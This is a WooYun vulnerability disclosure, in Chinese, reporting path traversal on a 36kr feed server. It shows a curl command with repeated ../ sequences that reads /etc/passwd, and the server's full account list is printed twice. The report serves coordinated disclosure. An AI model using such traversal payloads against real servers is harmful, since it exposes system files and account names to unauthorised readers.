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缺陷编号:wooyun-2015-092082

漏洞标题:36kr某站配置不当导致任意系统文件读取

相关厂商:36氪科技博客

漏洞作者: boooooom

提交时间:2015-01-15 18:36

修复时间:2015-03-01 18:38

公开时间:2015-03-01 18:38

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-15: 厂商已经确认,细节仅向厂商公开
2015-01-25: 细节向核心白帽子及相关领域专家公开
2015-02-04: 细节向普通白帽子公开
2015-02-14: 细节向实习白帽子公开
2015-03-01: 细节向公众公开

简要描述:

RT

详细说明:

[root@localhost ~]# curl http://feed.36kr.com/../../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpm:x:37:37:RPM user:/var/lib/rpm:/sbin/nologin
polkituser:x:87:87:PolicyKit:/:/sbin/nologin
avahi:x:499:499:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
alan:x:500:500::/home/alan:/bin/bash
andy:x:501:501::/home/andy:/bin/bash
ian:x:502:502::/home/ian:/bin/bash
mediafed:x:503:503::/home/mediafed:/bin/bash
mysql:x:498:497:MySQL server:/var/lib/mysql:/bin/bash
mediafedsvn:x:504:504::/home/mediafedsvn:/bin/bash
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
haproxy:x:497:496:HAProxy user:/var/lib/haproxy:/bin/false
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
avahi-autoipd:x:496:495:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
nagios:x:495:494::/var/spool/nagios:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
nrpe:x:494:493:NRPE user for the NRPE service:/:/sbin/nologin
ec2-user:x:222:505:EC2 Default User:/home/ec2-user:/bin/bash
sshTunnel:x:505:507::/home/sshTunnel:/bin/bash
memcached:x:221:492:Memcached daemon:/var/run/memcached:/sbin/nologin
saslauth:x:220:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
nslcd:x:65:55:LDAP Client User:/:/sbin/nologin

漏洞证明:

[root@localhost ~]# curl http://feed.36kr.com/../../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpm:x:37:37:RPM user:/var/lib/rpm:/sbin/nologin
polkituser:x:87:87:PolicyKit:/:/sbin/nologin
avahi:x:499:499:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
alan:x:500:500::/home/alan:/bin/bash
andy:x:501:501::/home/andy:/bin/bash
ian:x:502:502::/home/ian:/bin/bash
mediafed:x:503:503::/home/mediafed:/bin/bash
mysql:x:498:497:MySQL server:/var/lib/mysql:/bin/bash
mediafedsvn:x:504:504::/home/mediafedsvn:/bin/bash
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
haproxy:x:497:496:HAProxy user:/var/lib/haproxy:/bin/false
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
avahi-autoipd:x:496:495:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
nagios:x:495:494::/var/spool/nagios:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
nrpe:x:494:493:NRPE user for the NRPE service:/:/sbin/nologin
ec2-user:x:222:505:EC2 Default User:/home/ec2-user:/bin/bash
sshTunnel:x:505:507::/home/sshTunnel:/bin/bash
memcached:x:221:492:Memcached daemon:/var/run/memcached:/sbin/nologin
saslauth:x:220:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
nslcd:x:65:55:LDAP Client User:/:/sbin/nologin

修复方案:

修改配置

版权声明:转载请注明来源 boooooom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-01-15 19:29

厂商回复:

最新状态:

暂无